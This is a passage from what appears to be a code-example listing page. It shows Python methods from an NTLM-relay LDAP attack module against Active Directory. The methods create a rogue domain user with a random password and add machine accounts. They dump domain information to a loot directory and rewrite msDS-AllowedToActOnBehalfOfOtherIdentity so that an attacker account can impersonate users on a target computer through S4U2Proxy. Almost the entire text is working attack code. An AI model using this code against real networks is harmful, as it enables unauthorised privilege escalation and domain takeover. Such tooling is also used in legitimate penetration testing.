            self.delegateAttack(self.config.escalateuser, self.username,
                                domainDumper)
            return

        # Add a new computer if that is requested
        # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota
        if self.config.addcomputer:
            self.addComputer('CN=Computers,%s' % domainDumper.root,
                             domainDumper)
            return

        # Last attack, dump the domain if no special privileges are present
        if not dumpedDomain and self.config.dumpdomain:
            # Do this before the dump is complete because of the time this can take
            dumpedDomain = True
            LOG.info('Dumping domain info for first time')
            domainDumper.domainDump()
            LOG.info('Domain info dumped into lootdir!')
Esempio n. 29
0
    def addUser(self, parent, domainDumper):
        """
        Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
        also be an OU or other container where we have write privileges
        """
        global alreadyEscalated
        if alreadyEscalated:
            LOG.error('New user already added. Refusing to add another')
            return

        # Random password
        newPassword = ''.join(
            random.choice(string.ascii_letters + string.digits +
                          string.punctuation) for _ in range(15))

        # Random username
        newUser = ''.join(
            random.choice(string.ascii_letters) for _ in range(10))
        newUserDn = 'CN=%s,%s' % (newUser, parent)
        ucd = {
            'objectCategory':
            'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
            'distinguishedName':
            newUserDn,
            'cn':
            newUser,
            'sn':
            newUser,
            'givenName':
            newUser,
            'displayName':
            newUser,
            'name':
            newUser,
            'userAccountControl':
            512,
            'accountExpires':
            '0',
            'sAMAccountName':
            newUser,
            'unicodePwd':
            '"{}"'.format(newPassword).encode('utf-16-le')
        }
        LOG.info('Attempting to create user in: %s', parent)
        res = self.client.add(
            newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
        if not res:
            # Adding users requires LDAPS
            if self.client.result[
                    'result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
                LOG.error(
                    'Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.'
                )
            else:
                LOG.error('Failed to add a new user: %s' %
                          str(self.client.result))
            return False
        else:
            LOG.info(
                'Adding new user with username: %s and password: %s result: OK'
                % (newUser, newPassword))

            # Return the DN
            return newUserDn
Esempio n. 30
0
    def delegateAttack(self, usersam, targetsam, domainDumper):
        global delegatePerformed
        if targetsam in delegatePerformed:
            LOG.info(
                'Delegate attack already performed for this computer, skipping'
            )
            return

        if not usersam:
            usersam = self.addComputer('CN=Computers,%s' % domainDumper.root,
                                       domainDumper)
            self.config.escalateuser = usersam

        # Get escalate user sid
        result = self.getUserInfo(domainDumper, usersam)
        if not result:
            LOG.error('User to escalate does not exist!')
            return
        escalate_sid = str(result[1])

        # Get target computer DN
        result = self.getUserInfo(domainDumper, targetsam)
        if not result:
            LOG.error('Computer to modify does not exist! (wrong domain?)')
            return
        target_dn = result[0]

        self.client.search(target_dn,
                           '(objectClass=*)',
                           search_scope=ldap3.BASE,
                           attributes=[
                               'SAMAccountName', 'objectSid',
                               'msDS-AllowedToActOnBehalfOfOtherIdentity'
                           ])
        targetuser = None
        for entry in self.client.response:
            if entry['type'] != 'searchResEntry':
                continue
            targetuser = entry
        if not targetuser:
            LOG.error('Could not query target user properties')
            return
        try:
            sd = ldaptypes.SR_SECURITY_DESCRIPTOR(
                data=targetuser['raw_attributes']
                ['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
            LOG.debug('Currently allowed sids:')
            for ace in sd['Dacl'].aces:
                LOG.debug('    %s' % ace['Ace']['Sid'].formatCanonical())
        except IndexError:
            # Create DACL manually
            sd = create_empty_sd()
        sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
        self.client.modify(
            targetuser['dn'], {
                'msDS-AllowedToActOnBehalfOfOtherIdentity':
                [ldap3.MODIFY_REPLACE, [sd.getData()]]
            })
        if self.client.result['result'] == 0:
            LOG.info('Delegation rights modified succesfully!')
            LOG.info('%s can now impersonate users on %s via S4U2Proxy',
                     usersam, targetsam)
            delegatePerformed.append(targetsam)
        else:
            if self.client.result['result'] == 50:
                LOG.error(
                    'Could not modify object, the server reports insufficient rights: %s',
                    self.client.result['message'])
            elif self.client.result['result'] == 19:
                LOG.error(
                    'Could not modify object, the server reports a constrained violation: %s',
                    self.client.result['message'])
            else:
                LOG.error('The server returned an error: %s',
                          self.client.result['message'])
        return